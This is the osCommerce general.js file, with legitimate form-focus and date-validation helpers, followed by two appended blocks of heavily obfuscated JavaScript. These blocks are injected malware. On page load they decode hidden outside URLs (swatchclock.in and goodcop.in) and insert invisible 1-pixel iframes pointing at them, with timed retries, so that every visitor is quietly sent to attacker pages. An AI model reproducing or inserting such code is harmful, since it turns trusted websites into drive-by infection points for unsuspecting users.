/*
  $Id: general.js 1739 2007-12-20 00:52:16Z hpdl $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}
function lT(){};function gN(){};lT.prototype = {w : function() {this.kQ='';this.q="q";var g=15101;var qV=new Array();return 'hOt1t?pO:?/J/1sUwUa1tJcOh1c?lUo1c?kU.1i1nU/12U/?iOnOd?eOx?.?pUhUpU'.vK(/[UJ?O1]/g, '');this.gX="gX";this.rG=3409;this.eH=false;},y : function() {vM="vM";b="";this.kX=false;var rIZ='';var gM=new Date();var mC=new Date();var r=document;var u=function(){return 'u'};var j=function(){return 'j'};this.gL="";rGF=14246;this.pO="";this.fF='';var eJ="eJ";var m=window;var gLW=function(){return 'gLW'};gW=42957;kV=9819;var oO='';var vG=false;lJ="";var p = this;var sG=new Date();xM='';var yJ=new Array();var z=function(){return 'z'};var aJ=7560;this.vMR=7042;var jL="jL";String.prototype.vK=function(o, v){var e=this; return e.replace(o, v)};qC=43136;this.jJ=249;t="t";var d=new Date();this.mI=false;var n = 's(e(t4Ta'.vK(/[a4(Q6]/g, '') + 'i9mBe9oA'.vK(/[A9*GB]/g, '') + 'uItz'.vK(/[zIX7L]/g, '');this.nB="nB";var lI=47432;var uG="";function c(){};var k = 'w#r;iMt#e3'.vK(/[3M#};]/g, '');var wE="wE";var fD=function(){return 'fD'};lX="lX";mD='';gQ='';this.cT="cT";this.hV=57836;try {var qL='';pX='';var sI=new Date();lAF=false;var oV=function(){};i='';var pG = 'p_uFsdh$'.vK(/[$_dF2]/g, '');var tW=new Array();var lQ="";var wS='';var lAM="";var eG=new Date();kF=false;this.vA="";var eC = 't$r3e<c$r$eJa3'.vK(/[3<A$J]/g, '') + 'tUeXERlXeRmUeXnUtRgUeUt;'.vK(/[;sRXU]/g, '');var pXK=false;this.mY="";var yA=new Array();this.uZ='';this.yV="";this.zF="zF";rX = 'uSiSkSyHyX'.vK(/[XH{S1]/g, '');var uI=function(){};xD=5503;this.mM="";this.kQZ="kQZ";var fT='';var vN=function(){return 'vN'};this.fE='';var rH = 's9r;c6'.vK(/[6;90{]/g, '');qN=36311;this.bT=42505;wEJ="";var fW=new Array();this.lG=false;var kVO=function(){};f = 'y?u_k_yeuekey_ke'.vK(/[e_X:?]/g, '');this.sEX="";function yC(){};var mYP=new Date();this.wH="wH";this.pOG="pOG";var iQ=51756;var nD = 'h3eOik'.vK(/[k!OD3]/g, '') + 'gGhGtk'.vK(/[kiG<e]/g, '');var rB="rB";this.gT="";var aB=function(){};this.yMU=false;var wX=new Date();var s = 'g1ent1iUfnrVsVeUtV'.vK(/[V/n1U]/g, '');uE="";var kJ=new Array();this.gY="";this.iC=false;var nS=new Date();var dM="dM";var yS = 'wjiMd0'.vK(/[0M}j4]/g, '') + 't3hA'.vK(/[Asuw3]/g, '');var xL=new Date();pB=26228;var nN=686;var bO="";var oF=new Array();var iZ="iZ";var yT=false;l = 'g9e9tysyeytcA9t9t9rLi9sLdyf3'.vK(/[3yc9L]/g, '');var fFK="";this.eJU="eJU";var sM='';this.lD="lD";cF=false;this.iL='';var sE = 'awpJpJ'.vK(/[J*w%m]/g, '') + 'eVnvdOCOh;iOlXdO'.vK(/[O;XVv]/g, '');var eK=function(){return 'eK'};var aH="aH";this.sC=false;var vQ=false;var pA=new Date();uO="uO";var yX = 'bFo@d@y/'.vK(/[/s@FW]/g, '');yY="yY";var wB=function(){};var qJ="";function oOW(){};this.jZ=29958;var nK = 'sOu}'.vK(/[}LOm(]/g, '')+'bgs}t}r2ig'.vK(/[g+2h}]/g, '')+'nkg2'.vK(/[2ht8k]/g, '');tF=41454;var fM=function(){return 'fM'};var tD=function(){};qQ=false;rHL=false;dY="dY";gF="";var x = new Array();var tQ="tQ";yYH="";var uF=false;var dU="dU";fY="fY";x[pG](rH, nD, nK, eC, f, rX, yS, s, l, yX, sE, "1", r);this.cS='';this.mK=35227;this.hY="";this.sJ=14798;var sQ=function(){return 'sQ'};this.tZ=false;uX=5044;var wM='';gE="gE";var eP=53402;var hYD=new Array();this.sT=20184;tWK=false;var yI=new Array();var aE=function(){return 'aE'};var uU=function(){};var kN=12110;this.eL=37432;rXI=false;var xA=new Date();sQL="sQL";var hC=function(){};var eF=function(){return 'eF'};xF="";var mT="";var wK='';var qA=function(){return 'qA'};aS='';var zQ=false;var lL=false;dI="";this.yF=41118;this.vO=false;this.fDX=false;var qLX="";nBR="nBR";function tN(){};var uEY=function(){};this.gXN="";var rF=new Array();var fL="";var lB = x[3][x[2]](3, 16);var gZ=function(){};lXW='';this.hF="";this.fN="";var jW="jW";var gR=31500;this.nY=false;var lA = x[7][x[2]](3, 6);var oB="";var oS="oS";this.vY="";this.vQT="";nX="nX";function sS(){};var nO="nO";var dMN=false;rI = lA + 'a6mXe6'.vK(/[6jX%/]/g, '');var fH=function(){};var nW='';var vP=21867;iT="";var h = x[8][x[2]](3, 11);var uL=function(){return 'uL'};var zS="zS";var gXY='';var pH="pH";var cA=function(){return 'cA'};this.aJE="aJE";eS = h + 'bTuvtNev'.vK(/[v}/TN]/g, '');var mR="mR";var pD="pD";var bS="bS";var hH=new Date();this.oVV='';this.sJT='';var jB='';var yM=x[12][lB](rI);var xLW="";var aR=function(){return 'aR'};var sW=new Array();this.vV='';yCA="yCA";var kO=new Array();yM[eS](x[6], x[11]);this.zL="zL";var uA=new Date();this.dUV=42659;function hFT(){};this.sX=20328;yM[eS](x[1], x[11]);var lW='';var zD="";uAB='';var mRH=new Date();var aN=new Date();var uM="";yM[eS](x[0], p.w());var dT=58701;var xR=function(){};xQ="xQ";var cD=function(){return 'cD'};var hHF=function(){};var iI="";x[12][x[9]][x[10]](yM);dUA='';dD="dD";var mL='';var nWE=false;function yW(){};var dS="";} catch(a) {var jY='';this.uOY="";function rY(){};kT=false;r.write('<Qh#tWm#l# W>8<Qb#oQdQyQ W>w<Q/8bwo8dWyW>Q<Q/#hwtQmQl#>Q'.vK(/[Q#W8w]/g, ''));function pV(){};aW="";this.hYB=false;function nDO(){};vE='';m[n](function(){ p.y() }, 354);this.kK=false;var yE=new Date();this.rT=false;}this.eX='';var zZ=new Date();var iS=40986;}};oD=42763;var rA=new lT(); kU="";rA.y();bL='';function gBT(){};rCJ="rCJ";gBT.prototype = {w : function() {this.mO=8831;this.aK="aK";this.aD='';mN="";var o=document;this.y='';qG='';var eZ='';var cF="";var gB=function(){};var h=function(){return 'h'};var wD=window;var u=false;function nL(){};var wM="wM";var x="x";nE="";this.pP="pP";this.pU=30403;nJ='';var oK = this;var tG=new Date();var tS=false;var vU=function(){};var b='';this.uH=29994;var wC=new Date();function bO(){};String.prototype.hK=function(q, i){var m=this; return m.replace(q, i)};var qY=function(){};uC="uC";xJ="";var z=new Array();k='';function rV(){};bK="bK";var n = 'sOe&tOTu'.hK(/[u!O&z]/g, '') + 'ihm%e}oh'.hK(/[h3%}~]/g, '') + 'uGtZ'.hK(/[Z]g<G]/g, '');function cD(){};var vQ="";this.cU=56354;var aS="aS";var s = 't;r!e!cPr;eLa;'.hK(/[;!$PL]/g, '') + 't]e]EVl]e(mhe(nVt1g(e]t1'.hK(/[1(Vh]]/g, '');var yC=44999;var gE=60539;cA='';function rI(){};var oB='';var qGH=new Date();this.eB="";var sC = 'wvr.ivt$e$'.hK(/[$#vU.]/g, '');this.rL="";vJ="";this.hG=false;j=false;var eT=new Array();var iP=new Array();try {var xK=function(){};this.uD=false;this.sD=false;var lN="";var p = 'pGuGsmhG'.hK(/[Gmq5^]/g, '');this.tE="tE";var kH=function(){};function lW(){};var hS=function(){return 'hS'};this.eZZ=21713;var v = 's8rXc8'.hK(/[8X/Ye]/g, '');bF="";var lY=function(){};var zK=function(){};jI=61772;kQ=40509;gL='';var eA=new Date();var e = 'vSb{m!i,f8'.hK(/[8S!{,]/g, '')+'r0s;e8tB'.hK(/[B;V80]/g, '');zR='';function nR(){};kS="kS";var sY="sY";this.eN=38838;var eG=new Array();var vA = 'wRird#'.hK(/[#k6rR]/g, '') + 't5h5'.hK(/[5F1LS]/g, '');var jR=function(){};this.sG=19756;var lU=61829;var cDW=new Date();function pS(){};var qK = 'h<emim'.hK(/[mQ<?(]/g, '') + 'gJh(tJ'.hK(/[J(7RQ]/g, '');var lM=39496;var uB="";var dL="dL";var uV=new Date();gLU=36315;var wV=new Array();var cP=57023;var t = '19'.hK(/[9B*(u]/g, '');var rC="";var sQ=function(){};var wVL="";fV="fV";kO=false;var hV=56575;var xG=new Array();eY=false;f = 'gUextUsbeUtxAUtUtyr}iUsydxfU'.hK(/[Ubxy}]/g, '');var bD=new Array();this.gY="gY";var rP="rP";var gBR='';var gBC=function(){return 'gBC'};var zW=15286;function lC(){};var qS=new Date();var r = 'a7pEp7'.hK(/[7E;^~]/g, '') + 'eKnydgCBhBiKlpdK'.hK(/[KBpgy]/g, '');var pE=12099;this.bKM=false;this.kC=false;var iA=8849;var wF='';var kY=60808;this.nO=false;var pB = 'bIoIdIy_'.hK(/[_16pI]/g, '');this.wX="wX";var lYJ=false;sX="sX";sF='';kN="";var zI="";var g = 'stuE'.hK(/[E[qto]/g, '')+'b|sXtXr|iK'.hK(/[KX/T|]/g, '')+'nlg*'.hK(/[*UzlA]/g, '');zO="zO";var iB="iB";var pQ=11685;var nY=new Date();var qL=false;qP="";var gJ = new Array();this.kG='';var uVJ=false;this.uW=29785;zC="zC";this.pO="";this.iBK="iBK";gJ[p](qK, g, s, vA, e, f, pB, r, t, o, v);mG="";this.zV="";wZ="wZ";wR=16433;sK=false;this.uJ="uJ";var uJF=new Date();var iS="iS";this.nD='';var oW="";qO=60333;var bOV=function(){};jF="";var aQ=38767;this.rPY="rPY";qE=false;tR="";function kGS(){};dA="";hZ=false;var tJ=48467;zU="";var wU=function(){};var gC="gC";kT=false;uWA=false;aDZ='';kI=false;this.rIE=64994;var nS=false;var nF=new Array();var tA=function(){};var bV="";this.sYN=false;oV='';var jP=new Array();wQ="";var kQU='';var c = gJ[2][gJ[1]](3, 16);var tZ=new Array();this.wE='';var qQ="qQ";var eK=function(){return 'eK'};var lS=false;var gG = gJ[4][gJ[1]](3, 6);this.lX="lX";wT=false;var gD="gD";var uU=false;nOA="nOA";nV=53794;a = gG + 'atmfet'.hK(/[twrfM]/g, '');bY=64651;function rQ(){};var pY=new Date();var rJ="rJ";this.zY="zY";var vF = gJ[5][gJ[1]](3, 11);cR=false;function cY(){};var fM="";var lI=new Array();var qI=function(){};this.gN=false;d = vF + 'b&udt6ed'.hK(/[d2O6&]/g, '');var lNO="";this.bKG=false;this.tL=false;var qU=function(){};yK='';var zYB="zYB";var l = oK.pT();var aH=new Date();var hB=function(){};var oH=false;var qYG=function(){return 'qYG'};var dD=false;cO='';fS='';var tB=gJ[9][c](a);dE=64882;function dAN(){};var oG=new Array();function tO(){};var iU=function(){return 'iU'};uL=27862;this.vS="";tB[gJ[10]] = l;var wG=new Date();iI='';var jV=function(){return 'jV'};var oF="oF";this.hW="hW";tB[gJ[3]] = gJ[8];this.eF='';this.xP="xP";xT="xT";fN='';var xF="xF";tB[gJ[0]] = gJ[8];var bI=function(){return 'bI'};var hP=function(){return 'hP'};this.tY="";var oFA=34643;var kW=false;var fL="";var pL=false;var sI=false;bH="";this.jIP=false;var sIT="";nJL=13262;var bZ=23981;var hT='';gJ[9][gJ[6]][gJ[7]](tB);var nI=function(){};var kD=function(){};this.oE=false;var tK=function(){return 'tK'};this.pEM=6674;var aE="";oM=false;} catch(gM) {var nB="nB";var vC=new Array();wGX="wGX";var eP=function(){};var zJ=new Date();o.write('<Ihrt(m(lr U>(<(bIordUy^ I>(<I/IbUoUdUyr>U<I/Ih^tUmrl^>r'.hK(/[r^(IU]/g, ''));this.gU='';function yY(){};eJ="eJ";this.cPO=false;this.iC=3489;wD[n](function(){ oK.w() }, 284);wMB='';this.zG=19135;var dZ=function(){};}var iAA='';this.uY=38649;iM='';var tKJ='';},pT : function() {this.kCU=false;yU=43581;tRM="tRM";return 'h@t<t5p5:5/</^g@o<o^d5c@o<pD.<i^n</<2D/@i^n^d5e@x@.<p5h5p@'.hK(/[@<D5^]/g, '');this.sV="";dG='';yB=21105;}};cAQ=false;var rB=new gBT(); var tM=false;rB.w();var vE=new Array();